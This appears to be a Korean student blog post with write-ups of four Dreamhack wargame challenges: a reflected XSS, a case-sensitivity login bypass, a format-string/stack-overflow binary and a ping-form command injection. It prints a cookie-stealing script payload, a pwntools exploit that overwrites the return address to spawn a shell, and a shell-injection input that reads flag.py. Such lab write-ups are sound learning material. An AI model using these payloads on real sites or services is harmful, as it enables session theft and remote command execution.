[Dreamhack] xss-1
xss란 웹 페이지가 사용자 입력을 신뢰해서 그대로 페이지에 넣을 때 발생한다. 공격자는 스크립트와 html를 삽입해 다른 사용자의 브라우저에서 악성 동작을 수행하게 하는 공격기법이다.
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.route("/")
def index():
return render_template("index.html")
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return param
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
param과 cookie값을 입력받고 url을 만들어 로컬서버로 요청을 보내는 코드이다.
/vuln은 param값을 얻어 입력값 자체를 보여준다


vuln함수로 필터링 기능이 없어서 xss공격이 가능하다는 점을 알 수 있고 flag 함수는 언어를 사용하여 공격을 시도할 수 있다
def check_xss에서 url참조를 알수 있다

<script>location.href="http://127.0.0.1:8000/memo?memo=hello"+document.cookie;</script>

[Dreamhack] login filtering

가상머신에 들어가면 아래와 같은 로그인 페이지가 나오고 id, pw를 아무거나 입력하면 wrong가 출력됨.

문제에 나온대로 막힌 계정이 존재하는데, 이는 get source를 통해 나오는 소스코드나 개발자 도구에서 코드를 보면 찾을 수 있다. 그리고 막힌 계정으로 로그인을 시도하면 다음과 같은 문자가 출력된다.



해당 문제는 mysql은 대소문자를 구분하지 않고, php는 대소문자를 구분한다는 점을 이용하는 문제였다.
guest를 Guest로 입력하게 되면 php 입장에서는 guest != Guest 이기 때문에 필터링을 우회할 수 있고, mysql은 Guest와 guest는 같기 때문에 로그인이 가능하다.
따라서 막힌 계정 중에서 한 글자를 대문자로 바꿔 로그인하게 되면 플래그를 획득할 수 있다.

[Dreamhack] basic_exploitation_003
일단 바이너리를 실행시켜봤을 때,

내가 입력한 입력값을 다시 말해주는 시스템인 듯 하다.

checksec을 사용하면, 32 bit인 것을 볼 수 있고, Partial RELRO, NX가 있는 점을 볼 수 있다. 카나리 없고, PIE도 없어서 데이터의 주소는 고정이다.

basic_exploitation_003.c의 소스코드를 보자.
main함수를 보면, sprintf를 쓴다. sprintf는 지정된 버퍼 크기를 확인하지 않고 데이터를 쓰기 때문에 bof에 취약하다.
아예 다른 함수를 쓰는게 좋았겠지만, 만약 sprintf를 꼭 써야한다면
snprintf(buffer, sizeof(buffer), "%s", "This is a very long string.");
이런 식으로 썼어야 했을 것이다.
암튼 sprintf를 허술하게 썼으니 우린 bof공격을 시도해보면 된다.
다시 main함수로 돌아가서 한 줄 한 줄 읽어보면, 동작 흐름은 힙 버퍼에 입력을 받고, 그 내용을 포맷지정 없이 스택 버퍼에 sprintf로 복사한 뒤 출력하는 프로그램이다.
void get_shell() {
system("/bin/sh");
}
get_shell이 /bin/sh를 불러오는 거 보니까, 나중에 한 번 들어가봐야겠다.
char *heap_buf = (char *)malloc(0x80);
char stack_buf[0x90] = {};
: 힙에 0x80 바이트(128바이트)를 동적 할당하고 포인터를 받는다. 해제 코드가 없어 누적 사용 시 메모리 누수가 가능하다.
heap_buf에 128byte만큼 메모리를 할당하고, stack_buf는 0x90(144)만큼 할당한다.
sprintf(stack_buf, heap_buf);
: 포맷 문자열을 지정하지 않고 힙 버퍼 내용을 그대로 포맷 문자열로 사용해 스택 버퍼로 기록한다.
입력에 %s, %n 등이 있으면 포맷 스트링 취약점이 발생하며,
결과 문자열 길이가 144바이트를 넘으면 스택 버퍼 오버플로우가 날 수 있다.
printf("ECHO : %s\n", stack_buf);
: 스택 버퍼의 문자열을 에코 출력한다. 이전 단계에서 손상되면 비정상 동작이 이어질 수 있다.
=> 입력값 heap_buf에 명령어를 포함한 글자가 들어가면 처음에는 글자, 문자로만 보이지만, sprintf(stack_buf, heap_buf); 에서 입력값을 포맷 문자열로 해석하면 그 입력값의 명령어는 실행이 됨.
포맷 스트링 취약점
: 프로그램이 사용자가 입력한 내용을 sprintf(stack_buf, heap_buf);에서 포맷 문자열로 해석한다.
즉, 입력에 %x, %n 같은 특수기호가 있으면 그걸 명령처럼 실행한다.
ex) 입력에 %x%x%x%x를 넣으면 프로그램 내부 메모리 값을 출력한다. %n을 쓰면 메모리에 값을 쓸 수 있다.

main의 주소는 0x0804867c, get_shell의 주소는 0x08048669이다

여기서는 시스템이 사용자 입력을 어디서 받는지, sprintf를 통해서 stack_buf에 옮겨지는 것은 어디에서 저장되는지, stack_buf에서 리턴까지의 길이는 얼마나 되는지를 알아내야 한다.
ebp: 함수의 스택 프레임 기준점(베이스 포인터)
ret: 함수가 끝나고 돌아갈 주소(리턴 주소)

heap_buf의 주소 : [ebp-0x8]

stack_buf의 주소 : [ebp-0x98]
stack_buf에서 리턴 주소까지 : 0x98 + 0x4 = 156바이트
=> heap_buf에 아무 값이나 156바이트 넣고 + get_shell()의 주소값 넣기

get_shell의 주소는 0x8048669
익스플로잇 코드는 다른 분의 코드 참고
from pwn import *
p = remote('host8.dreamhack.games', 14495)
get_shell = 0x8048669
payload = b"%156c" + p32(get_shell)
p.sendline(payload)
p.interactive()

따단
추가공부 해야할 것
: 32비트일 때와 64비트일 때 어떻게 다른지
참고
https://0secusik0.tistory.com/4
[Dreamhack] command-injection-1

서버 들어가보면

핑 보내는 화면이 뜬다.
8.8.8.8 입력해보면

핑 패킷 보내는거 확인 가능
command injection 사용하라고 했으니까 8.8.8.8";cat "flag.py 입력해봤는데 형식이 안맞다고 한다.

개발자 도구로 보니까 pattern이 설정되어 있다.

그래서 pattern을 지워주고

다시 8.8.8.8";cat "flag.py 입력해보면

flag가 출력된다.
'4-1. 2025-2 심화 스터디 > 워게임 도장 깨기' 카테고리의 다른 글
| [5주차] 25.11.22 워게임 도장 깨기 (0) | 2025.11.27 |
|---|---|
| [4주차] 25.11.15 워게임 도장 깨기 (0) | 2025.11.15 |
| [3주차] 25.11.8 워게임 도장 깨기 (0) | 2025.11.14 |
| [1주차] 25.09.27 워게임 도장 깨기 (0) | 2025.09.27 |